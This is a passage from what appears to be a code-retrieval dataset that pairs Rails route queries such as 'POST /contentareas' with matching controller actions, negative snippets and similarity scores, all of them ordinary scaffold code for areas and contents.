@political_areas.page params[:page]\n end", "def index\n @ozones = Ozone.all\n render json: @ozones\n end", "def show\n @areco = Areco.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @areco }\n end\n end", "def index\n\n @contents = Content.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contents }\n end\n end", "def index\n @area_editions = @layout.area_editions.all\n end", "def index\n @regiones = Region.all\n\n render json: @regiones\n end", "def index\n @contents = Content.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contents }\n end\n end", "def index\n @places = @site.places.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @places }\n end\n end", "def index\n @content_urls = ContentUrl.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @content_urls }\n end\n end", "def new\n @researcharea = Researcharea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @researcharea }\n end\n end", "def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end", "def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end", "def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end", "def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end", "def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end", "def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end", "def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end", "def index\n @post_geos = current_user.settings.post_geos || []\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @post_geos }\n end\n end", "def get_content(content_id, params = {})\n get_json(content_url(content_id, params))\n end", "def index\n render json: Apartment.all\n end", "def index\n @contents = Content.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @contents }\n end\n end", "def areas(type = nil)\n if type\n if areas = @areas[type]\n areas.values\n else\n []\n end\n else\n @areas.values.map(&:values).flatten\n end\n end", "def show\n @carea = Carea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @carea }\n end\n end", "def worldmap_areas\n areas = []\n $data_areas.values.each { |area|\n areas.push(area) if area.map_id == BestiaryConfig::WORLDMAP_ID\n }\n areas\n end", "def searchByArea\n\t\turl = request.original_url\n\t\t\n\t\tbegin\n\n\t\t\tprms = CGI.parse(URI.parse(url).query)\n\n\n\t\t\tresults = Doctor.where(\"area LIKE ?\", \"%#{prms['area'][0]}%\")\n\t\t\trender json: results\n\t\trescue Exception => e\n\t\t\trender json: { errors: \"Some errors\" }, status: 422\n\t\tend\n\tend", "def new\n @area_of_law = AreaOfLaw.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: admin_areas_of_law_path(@area_of_law) }\n end\n end", "def show\n @area_usuario = AreaUsuario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @area_usuario }\n end\n end", "def index\n @practice_areas = PracticeArea.all\n end", "def show\n @projectarea = Projectarea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @projectarea }\n end\n end", "def index\n\t\t# All Content tags\n\t\tcontents = ContentTag.all\n\t\trender json: contents\n\tend", "def show\n @area = Area.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @area }\n end\n end", "def show\n @area = Area.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @area }\n end\n end", "def show\n @main_content = MainContent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @main_content }\n end\n end", "def index\n @ideas = Idea.all\n\n render json: @ideas\n end", "def show\n @area = Area.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @area }\n end\n end", "def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @content }\n end\n end" ]
[ "0.6896688", "0.67522126", "0.6700889", "0.65714943", "0.6499365", "0.6494538", "0.6450973", "0.6408846", "0.63800746", "0.63278615", "0.6327422", "0.6306175", "0.6303182", "0.630316", "0.6285437", "0.6242746", "0.6236289", "0.61805433", "0.6167691", "0.6108322", "0.60960263", "0.6093377", "0.6092198", "0.6078105", "0.6074172", "0.60461384", "0.59455454", "0.59287506", "0.5906451", "0.5901088", "0.59007967", "0.58802724", "0.5877478", "0.58766073", "0.58719605", "0.58627534", "0.5860512", "0.5853402", "0.5821376", "0.5816299", "0.57935053", "0.5786543", "0.57692915", "0.5753743", "0.5753743", "0.5748069", "0.57419497", "0.57391864", "0.56634176", "0.56634176", "0.5663024", "0.5656965", "0.56558186", "0.5648069", "0.5643861", "0.5634504", "0.5608961", "0.55800486", "0.5574235", "0.5572449", "0.5559233", "0.55582654", "0.55580634", "0.5550568", "0.55484056", "0.55474967", "0.5527692", "0.5524802", "0.5516362", "0.5515036", "0.55136025", "0.55106825", "0.55031115", "0.54949003", "0.5489891", "0.5489891", "0.5489891", "0.5489891", "0.5489891", "0.5489891", "0.5489891", "0.5488167", "0.5483607", "0.54792535", "0.5477606", "0.5474755", "0.5472497", "0.547011", "0.5468356", "0.5466225", "0.5462324", "0.5458459", "0.54582846", "0.545751", "0.54549897", "0.54549897", "0.5452963", "0.5448109", "0.544683", "0.54452294" ]
0.7496818
0
GET /contentareas/new GET /contentareas/new.json
def new @contentarea = Contentarea.new respond_to do |format| format.html # new.html.erb format.json { render json: @contentarea } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @area = Area.new\n @other_areas = Area.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end", "def new\n @area = Area.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end", "def new\n @area = Area.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end", "def new\n @question_content_area = QuestionContentArea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question_content_area }\n end\n end", "def create\n @contentarea = Contentarea.new(params[:contentarea])\n\n respond_to do |format|\n if @contentarea.save\n format.html { redirect_to @contentarea, notice: 'Contentarea was successfully created.' }\n format.json { render json: @contentarea, status: :created, location: @contentarea }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contentarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @area_type = AreaType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area_type }\n end\n end", "def new\n @researcharea = Researcharea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @researcharea }\n end\n end", "def new\n @breadcrumb = 'create'\n @area = Area.new\n @departments = departments_dropdown\n @workers = workers_dropdown\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end", "def new\n @group_area = GroupArea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group_area }\n end\n end", "def new\n @area = Area.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @area }\n end\n end", "def create\n @question_content_area = QuestionContentArea.new(params[:question_content_area])\n\n respond_to do |format|\n if @question_content_area.save\n format.html { redirect_to @question_content_area, notice: 'Question content area was successfully created.' }\n format.json { render json: @question_content_area, status: :created, location: @question_content_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question_content_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @area_of_law = AreaOfLaw.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: admin_areas_of_law_path(@area_of_law) }\n end\n end", "def new\n @page = ContentPage.new\n @blocks = nil\n #@newBlock = PageBlock.new\n @form_action = \"create_page\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end", "def new\n @area = Area.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @area }\n end\n end", "def new\n @area = Area.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @area }\n end\n end", "def new\n @droparea = Droparea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @droparea }\n end\n end", "def new\n @survey_area = SurveyArea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey_area }\n end\n end", "def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to areas_path, notice: 'Area was successfully created.' }\n format.json { render json: @area, status: :created, location: @area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @country_area = CountryArea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @country_area }\n end\n end", "def new\r\n @area = Area.new\r\n @area.domain_id = params[:domain_id]\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @area }\r\n end\r\n end", "def new\n @projectarea = Projectarea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @projectarea }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end", "def new\n @interest_area = InterestArea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interest_area }\n end\n end", "def new\n @content_partial = ContentPartial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_partial }\n end\n end", "def new\n @content_piece = ContentPiece.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_piece }\n end\n end", "def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to @area, notice: 'Area was successfully created.' }\n format.json { render json: @area, status: :created, location: @area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to @area, notice: 'Area was successfully created.' }\n format.json { render json: @area, status: :created, location: @area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @content }\n end\n end", "def new\n @shopping_area = ShoppingArea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shopping_area }\n end\n end", "def areas\n @area = Area.new(geo_json: params.to_json)\n if @area.save\n json_response([id: @area.id], :created, :geo_json_recieved)\n else\n json_response(nil, :error, :db_error)\n end\n end", "def new\n @content_url = ContentUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_url }\n end\n end", "def new\n @areco = Areco.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @areco }\n end\n end", "def new\n @proposal = Proposal.new\n @proposal.area_tags = [Area.find(params[:area_id]).area_tag.name_es] if params[:area_id]\n respond_to do |format|\n format.html\n format.floki { render :action => 'new.floki', :content_type => 'application/json', :layout => false}\n end\n end", "def new\n @area_usuario = AreaUsuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area_usuario }\n end\n end", "def new\n @course = Course.new()\n @areas = Area.find(:all)\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course }\n end\n end", "def new\n @place = @site.places.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @place }\n end\n end", "def create\n @breadcrumb = 'create'\n @area = Area.new(params[:area])\n @area.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to @area, notice: crud_notice('created', @area) }\n format.json { render json: @area, status: :created, location: @area }\n else\n @departments = departments_dropdown\n @workers = workers_dropdown\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @edited << 'new'\n @expanded << 'new'\n\n respond_to do |format|\n format.html { render template: 'shared/new' }\n format.js { render 'feature' }\n format.json { render json: @feature }\n end\n end", "def new\n @page = current_site.pages.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end", "def new\n @content_datum = ContentDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_datum }\n end\n end", "def create\r\n @area = Area.new(params[:area])\r\n\r\n respond_to do |format|\r\n if @area.save\r\n format.html { redirect_to areas_url(domain_id: @area.domain_id), notice: 'Area was successfully created.' }\r\n format.json { render json: @area, status: :created, location: @area }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @area.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def new\n @area = Area.new(params[:area])\n end", "def new\n @content_form = ContentForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_form }\n end\n end", "def new\n @content_condo = ContentCondo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_condo }\n end\n end", "def new\n @content_item = ContentItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_item }\n end\n end", "def new\n @content_explore = ContentExplore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_explore }\n end\n end", "def new\n @pc_region = PcRegion.new\n @title = 'New PC Region'\n @context_menu = {'cancel' => pc_regions_path}\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pc_region }\n end\n end", "def new\n @curriculum_area = CurriculumArea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @curriculum_area }\n end\n end", "def new\n @node_template = NodeTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node_template }\n end\n end", "def new\n @structure_content = Structure::Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @structure_content }\n end\n end", "def new\n @page_template = PageTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_template }\n end\n end", "def new\n @admin_template = Template.new\n @admin_template.build_template_content\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_template }\n end\n end", "def new\n @main_content = MainContent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @main_content }\n end\n end", "def create\n @region = Region.new(region_params)\n\n respond_to do |format|\n if @region.save\n format.html { redirect_to regions_path, notice: 'Region was successfully created.' }\n format.json { render :show, status: :created, location: @region }\n else\n @region_areas = region_areas(@region, false)\n format.html { render :new }\n format.json { render json: @region.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @clothing_article = ClothingArticle.new\n @categories = get_categories\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clothing_article }\n end\n end", "def new\n @oasis_page = OasisPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @oasis_page }\n end\n end", "def new\n @region = Region.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @region }\n end\n end", "def new\n @locationmap = Locationmap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @locationmap }\n end\n end", "def new\n @content = Content.new\n @content.owner_id = current_user.id\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end", "def new\n @carea = Carea.new\n @cgenerales = Cgeneral.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @carea }\n end\n end", "def new\n @admin_geonode = Admin::Geonode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_geonode }\n end\n end", "def create\n @area_type = AreaType.new(params[:area_type])\n\n respond_to do |format|\n if @area_type.save\n format.html { redirect_to @area_type, notice: 'Area type was successfully created.' }\n format.json { render json: @area_type, status: :created, location: @area_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n if params[:area_id]\n @parent_area = Area.find(params[:area_id]) \n @area = @parent_area.children.build \n else\n @area = Area.new \n end\n @area.project_leaders = []\n respond_with(@area)\n \n end", "def new\n @content_item_condo = ContentItemCondo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_item_condo }\n end\n end", "def create\n @project_area = ProjectArea.new(project_area_params)\n\n respond_to do |format|\n if @project_area.save\n format.html { redirect_to @project_area, notice: 'Project area was successfully created.' }\n format.json { render :show, status: :created, location: @project_area }\n else\n format.html { render :new }\n format.json { render json: @project_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @meta_content = MetaContent.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meta_content }\n end\n end", "def create\n @sub_area = SubArea.new(sub_area_params)\n\n respond_to do |format|\n if @sub_area.save\n format.html { redirect_to @sub_area, notice: 'Sub area was successfully created.' }\n format.json { render :show, status: :created, location: @sub_area }\n else\n format.html { render :new }\n format.json { render json: @sub_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n place = Place.new\n\n render json: place\n end", "def new\n @pages_article = PagesArticle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pages_article }\n end\n end", "def create\n @tarea = Tarea.new(tarea_params)\n\n respond_to do |format|\n if @tarea.save\n format.html { redirect_to @tarea, notice: 'Tarea was successfully created.' }\n format.json { render :show, status: :created, location: @tarea }\n else\n format.html { render :new }\n format.json { render json: @tarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @oase = Oasis.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @oase }\n end\n end", "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @place }\n end\n end", "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @place }\n end\n end", "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @place }\n end\n end", "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @place }\n end\n end", "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @place }\n end\n end", "def new\n @curpg = :admintools\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end", "def new\n @edited << 'new'\n @expanded << 'new'\n\n respond_to do |format|\n format.html { render template: 'shared/new' }\n format.js { render 'story'; flash.discard }\n format.json { render json: @story }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "def new\n @section = Section.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @section }\n end\n end", "def new\n @section = Section.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @section }\n end\n end", "def new\n @snippet = Snippet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @snippet }\n end\n end", "def new\n @snippet = Snippet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @snippet }\n end\n end", "def new\n @qr_content_placement = QrContentPlacement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @qr_content_placement }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.js\n format.json { render json: @building }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @agency }\n end\n end", "def new\n @content_home = ContentHome.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_home }\n end\n end", "def new\n attrs = {}\n [:area_id, :logistic_id].each do |name|\n attrs[name] = params[name] if params[name].present?\n end\n @core_logistic_area = Core::LogisticArea.new(attrs)\n respond_to do |format|\n format.js {}\n format.html {}\n end\n end", "def new\n @solution = @idea.solutions.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @solution }\n end\n end", "def new\n @admin_zones = Admin::Zone.all\n @admin_zone = Admin::Zone.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_zone }\n end\n end", "def new\n @title = t 'view.contents.new_title'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end", "def new\n @post_geo = current_user.post_geos.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post_geo }\n end\n end", "def new\n @zoneamento = Zoneamento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @zoneamento }\n end\n end", "def new\n @map_node = Map::Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @map_node }\n end\n end", "def new\n @sidebar = Sidebar.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sidebar }\n end\n end" ]
[ "0.7594549", "0.737397", "0.737397", "0.73288965", "0.71919423", "0.71270627", "0.70101136", "0.69096786", "0.68503803", "0.6825309", "0.67825854", "0.6714131", "0.67098624", "0.6695262", "0.6695262", "0.66949016", "0.6694842", "0.66306186", "0.6622167", "0.6621261", "0.66148174", "0.65618104", "0.65618104", "0.65618104", "0.65618104", "0.65618104", "0.65618104", "0.65546876", "0.6528063", "0.65079886", "0.6500559", "0.6500559", "0.6499353", "0.64766663", "0.64704233", "0.6459669", "0.6455772", "0.6449042", "0.6440417", "0.6435012", "0.63866544", "0.637043", "0.6366689", "0.6354118", "0.6343384", "0.63229704", "0.6320179", "0.6313829", "0.63019997", "0.629959", "0.62951744", "0.62666106", "0.6246418", "0.62452173", "0.624297", "0.62319076", "0.6228295", "0.6220925", "0.6180085", "0.61799014", "0.6177572", "0.6174678", "0.61414635", "0.6139965", "0.6122693", "0.6121305", "0.6115387", "0.6106612", "0.61032724", "0.60891575", "0.6088879", "0.6084366", "0.6079156", "0.60787976", "0.6078371", "0.60745496", "0.60743046", "0.60743046", "0.60743046", "0.60743046", "0.60743046", "0.60664785", "0.6065914", "0.6063858", "0.60586905", "0.60586905", "0.60526115", "0.60526115", "0.60485977", "0.60465443", "0.60421747", "0.60416603", "0.60410595", "0.60302854", "0.60283786", "0.60279936", "0.60260844", "0.60203135", "0.60184014", "0.601737" ]
0.8025531
0
POST /contentareas POST /contentareas.json
def create @contentarea = Contentarea.new(params[:contentarea]) respond_to do |format| if @contentarea.save format.html { redirect_to @contentarea, notice: 'Contentarea was successfully created.' } format.json { render json: @contentarea, status: :created, location: @contentarea } else format.html { render action: "new" } format.json { render json: @contentarea.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @question_content_area = QuestionContentArea.new(params[:question_content_area])\n\n respond_to do |format|\n if @question_content_area.save\n format.html { redirect_to @question_content_area, notice: 'Question content area was successfully created.' }\n format.json { render json: @question_content_area, status: :created, location: @question_content_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question_content_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def areas\n @area = Area.new(geo_json: params.to_json)\n if @area.save\n json_response([id: @area.id], :created, :geo_json_recieved)\n else\n json_response(nil, :error, :db_error)\n end\n end", "def new\n @contentarea = Contentarea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contentarea }\n end\n end", "def new\n @question_content_area = QuestionContentArea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question_content_area }\n end\n end", "def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to areas_path, notice: 'Area was successfully created.' }\n format.json { render json: @area, status: :created, location: @area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to @area, notice: 'Area was successfully created.' }\n format.json { render json: @area, status: :created, location: @area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to @area, notice: 'Area was successfully created.' }\n format.json { render json: @area, status: :created, location: @area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sub_area = SubArea.new(sub_area_params)\n\n respond_to do |format|\n if @sub_area.save\n format.html { redirect_to @sub_area, notice: 'Sub area was successfully created.' }\n format.json { render :show, status: :created, location: @sub_area }\n else\n format.html { render :new }\n format.json { render json: @sub_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #return render json: params[:recursos]\n @area = Area.new(area_params)\n @count = 0\n save_multiples_recursos if params[:recursos][:status] == '1'\n respond_to do |format|\n if @area.save\n format.html { redirect_to areas_path, notice: 'El Área fue creada éxitosamente.' }\n format.json { render :show, status: :created, location: @area }\n else\n format.html { render :new }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @area = Area.new(params[:area])\r\n\r\n respond_to do |format|\r\n if @area.save\r\n format.html { redirect_to areas_url(domain_id: @area.domain_id), notice: 'Area was successfully created.' }\r\n format.json { render json: @area, status: :created, location: @area }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @area.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @region = Region.new(region_params)\n\n respond_to do |format|\n if @region.save\n format.html { redirect_to regions_path, notice: 'Region was successfully created.' }\n format.json { render :show, status: :created, location: @region }\n else\n @region_areas = region_areas(@region, false)\n format.html { render :new }\n format.json { render json: @region.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @area = Area.new\n @other_areas = Area.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end", "def create\n @tarea = Tarea.new(tarea_params)\n\n respond_to do |format|\n if @tarea.save\n format.html { redirect_to @tarea, notice: 'Tarea was successfully created.' }\n format.json { render :show, status: :created, location: @tarea }\n else\n format.html { render :new }\n format.json { render json: @tarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @breadcrumb = 'create'\n @area = Area.new(params[:area])\n @area.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to @area, notice: crud_notice('created', @area) }\n format.json { render json: @area, status: :created, location: @area }\n else\n @departments = departments_dropdown\n @workers = workers_dropdown\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @userarea = Userarea.new(userarea_params)\n\n respond_to do |format|\n if @userarea.save\n format.html { redirect_to @userarea, notice: 'Userarea was successfully created.' }\n format.json { render :show, status: :created, location: @userarea }\n else\n format.html { render :new }\n format.json { render json: @userarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @survey_area = SurveyArea.new(params[:survey_area])\n\n respond_to do |format|\n if @survey_area.save\n format.html { redirect_to @survey_area, notice: 'Survey area was successfully created.' }\n format.json { render json: @survey_area, status: :created, location: @survey_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @specialization_area = SpecializationArea.new(specialization_area_params)\n\n respond_to do |format|\n if @specialization_area.save\n format.html { redirect_to admin_specialization_area_path(@specialization_area), notice: 'Specialization area was successfully created.' }\n format.json { render :show, status: :created, location: @specialization_area }\n else\n format.html { render :new }\n format.json { render json: @specialization_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @issue_area = IssueArea.new(issue_area_params)\n\n respond_to do |format|\n if @issue_area.save\n format.html { redirect_to @issue_area, notice: 'Issue area was successfully created.' }\n format.json { render :show, status: :created, location: @issue_area }\n else\n format.html { render :new }\n format.json { render json: @issue_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @contentarea = Contentarea.find(params[:id])\n @contentarea.destroy\n\n respond_to do |format|\n format.html { redirect_to contentareas_url }\n format.json { head :no_content }\n end\n end", "def sub_area_params\n params.require(:sub_area).permit(:code_capes, :title, :description, :area_id)\n end", "def list_service_areas\n @service_areas = smart_listing_create(:service_areas, @service_areas, partial: \"/service_areas/index\",\n default_sort: { created_at: \"desc\" }, page_sizes: [10, 50, 100])\n end", "def create\n @area = Area.new(area_params)\n @area.skus = params[:area][:skus]\n respond_to do |format|\n if @area.save\n format.html { redirect_to admin_areas_path, notice: 'Area was successfully created.' }\n format.json { render :show, status: :created, location: @area }\n else\n format.html { render :new }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @contentarea = Contentarea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contentarea }\n end\n end", "def information_content_params\n params.require(:information_content).permit(:information_area, :content)\n end", "def create\n @project_area = ProjectArea.new(project_area_params)\n\n respond_to do |format|\n if @project_area.save\n format.html { redirect_to @project_area, notice: 'Project area was successfully created.' }\n format.json { render :show, status: :created, location: @project_area }\n else\n format.html { render :new }\n format.json { render json: @project_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @group_area = GroupArea.new(params[:group_area])\n\n respond_to do |format|\n if @group_area.save\n format.html { redirect_to @group_area, notice: 'Group area was successfully created.' }\n format.json { render json: @group_area, status: :created, location: @group_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contentarea = Contentarea.find(params[:id])\n\n respond_to do |format|\n if @contentarea.update_attributes(params[:contentarea])\n 